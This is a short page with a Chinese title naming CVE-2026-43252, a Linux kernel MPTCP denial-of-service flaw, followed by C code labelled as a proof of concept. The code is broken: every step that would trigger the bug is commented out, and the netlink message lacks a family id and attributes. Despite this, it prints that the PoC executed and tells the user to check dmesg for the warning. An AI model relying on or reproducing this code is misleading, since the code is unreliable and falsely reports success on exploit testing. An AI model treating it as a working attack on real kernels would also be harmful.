CVE-2026-43252 Linux内核MPTCP拒绝服务漏洞

/* * PoC for CVE-2026-43252 * This code demonstrates the logic flow to trigger the warning. * It requires a kernel with MPTCP enabled and vulnerable version. * Compile with: gcc -o poc_mptcp poc_mptcp.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/genetlink.h> // Simplified Netlink message setup to interact with MPTCP PM void send_mptcp_nl_msg(int sock, int cmd) { struct sockaddr_nl sa; struct msghdr msg; struct iovec iov; char buf[1024]; struct nlmsghdr *nh; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; memset(buf, 0, sizeof(buf)); nh = (struct nlmsghdr *)buf; nh->nlmsg_type = cmd; // MPTCP PM cmd type nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nh->nlmsg_len = sizeof(struct nlmsghdr); iov.iov_base = buf; iov.iov_len = nh->nlmsg_len; memset(&msg, 0, sizeof(msg)); msg.msg_name = &sa; msg.msg_namelen = sizeof(sa); msg.msg_iov = &iov; msg.msg_iovlen = 1; sendmsg(sock, &msg, 0); } int main() { int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock < 0) { perror("socket"); return 1; } // Step 1: Add Endpoint (simulated) // send_mptcp_nl_msg(sock, MPTCP_PM_CMD_ADD); // Step 2: Remove Endpoint (simulated) - This triggers the bug if ID not freed // send_mptcp_nl_msg(sock, MPTCP_PM_CMD_REMOVE); // Step 3: Set Flags (simulated) - This triggers the check and warning // send_mptcp_nl_msg(sock, MPTCP_PM_CMD_SET_FLAGS); printf("PoC executed. Check dmesg for WARN_ON in mptcp_pm_kernel.c\n"); close(sock); return 0; }